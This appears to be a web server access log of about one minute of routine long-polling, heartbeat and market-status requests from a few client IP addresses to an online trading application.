[09/Jan/2026:15:15:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943218293 HTTP/1.1" -
[09/Jan/2026:15:15:49 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:15:49 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:15:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943234979 HTTP/1.1" -
[09/Jan/2026:15:15:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943219718 HTTP/1.1" -
[09/Jan/2026:15:15:50 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943226163 HTTP/1.1" -
[09/Jan/2026:15:15:52 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943222302 HTTP/1.1" -
[09/Jan/2026:15:15:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:15:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:15:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943223456 HTTP/1.1" -
[09/Jan/2026:15:15:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943240003 HTTP/1.1" -
[09/Jan/2026:15:15:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943224754 HTTP/1.1" -
[09/Jan/2026:15:15:55 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943231281 HTTP/1.1" -
[09/Jan/2026:15:15:55 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:15:55 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:15:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:15:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:15:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:15:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:15:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943227349 HTTP/1.1" -
[09/Jan/2026:15:15:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943228573 HTTP/1.1" -
[09/Jan/2026:15:16:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943245079 HTTP/1.1" -
[09/Jan/2026:15:16:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943229793 HTTP/1.1" -
[09/Jan/2026:15:16:00 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943236361 HTTP/1.1" -
[09/Jan/2026:15:16:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943232485 HTTP/1.1" -
[09/Jan/2026:15:16:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943233617 HTTP/1.1" -
[09/Jan/2026:15:16:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943250111 HTTP/1.1" -
[09/Jan/2026:15:16:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943234813 HTTP/1.1" -
[09/Jan/2026:15:16:05 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943241387 HTTP/1.1" -
[09/Jan/2026:15:16:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:16:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:16:07 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943237679 HTTP/1.1" -
[09/Jan/2026:15:16:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:16:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:16:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:16:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:16:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943238760 HTTP/1.1" -
[09/Jan/2026:15:16:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943255163 HTTP/1.1" -
[09/Jan/2026:15:16:10 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943239862 HTTP/1.1" -
[09/Jan/2026:15:16:10 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943246487 HTTP/1.1" -
[09/Jan/2026:15:16:12 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:16:12 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:16:12 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943242824 HTTP/1.1" -
[09/Jan/2026:15:16:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:16:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:16:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943243911 HTTP/1.1" -
[09/Jan/2026:15:16:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943260190 HTTP/1.1" -
[09/Jan/2026:15:16:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943244900 HTTP/1.1" -
[09/Jan/2026:15:16:15 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943251550 HTTP/1.1" -
[09/Jan/2026:15:16:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943247879 HTTP/1.1" -
[09/Jan/2026:15:16:19 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:16:19 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:16:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943249057 HTTP/1.1" -
[09/Jan/2026:15:16:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943265251 HTTP/1.1" -
[09/Jan/2026:15:16:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943249946 HTTP/1.1" -
[09/Jan/2026:15:16:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943256588 HTTP/1.1" -
[09/Jan/2026:15:16:23 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943253021 HTTP/1.1" -
[09/Jan/2026:15:16:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:16:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:16:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943270274 HTTP/1.1" -
[09/Jan/2026:15:16:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943254263 HTTP/1.1" -
[09/Jan/2026:15:16:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943255001 HTTP/1.1" -
[09/Jan/2026:15:16:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:16:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:16:26 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943261697 HTTP/1.1" -
[09/Jan/2026:15:16:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:16:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:16:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:16:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:16:28 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943258081 HTTP/1.1" -
[09/Jan/2026:15:16:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943275306 HTTP/1.1" -
[09/Jan/2026:15:16:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943259326 HTTP/1.1" -
[09/Jan/2026:15:16:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943260059 HTTP/1.1" -
[09/Jan/2026:15:16:31 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943266728 HTTP/1.1" -
[09/Jan/2026:15:16:33 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943263176 HTTP/1.1" -
[09/Jan/2026:15:16:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943280374 HTTP/1.1" -
[09/Jan/2026:15:16:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943264382 HTTP/1.1" -
[09/Jan/2026:15:16:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943265088 HTTP/1.1" -
[09/Jan/2026:15:16:36 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943271793 HTTP/1.1" -
[09/Jan/2026:15:16:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:16:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:16:38 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943268253 HTTP/1.1" -
[09/Jan/2026:15:16:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:16:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:16:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:16:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:16:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943285404 HTTP/1.1" -
[09/Jan/2026:15:16:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943270132 HTTP/1.1" -
[09/Jan/2026:15:16:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943269512 HTTP/1.1" -
[09/Jan/2026:15:16:41 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943276889 HTTP/1.1" -
[09/Jan/2026:15:16:42 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:16:42 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:16:43 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943273352 HTTP/1.1" -
[09/Jan/2026:15:16:44 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:16:44 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
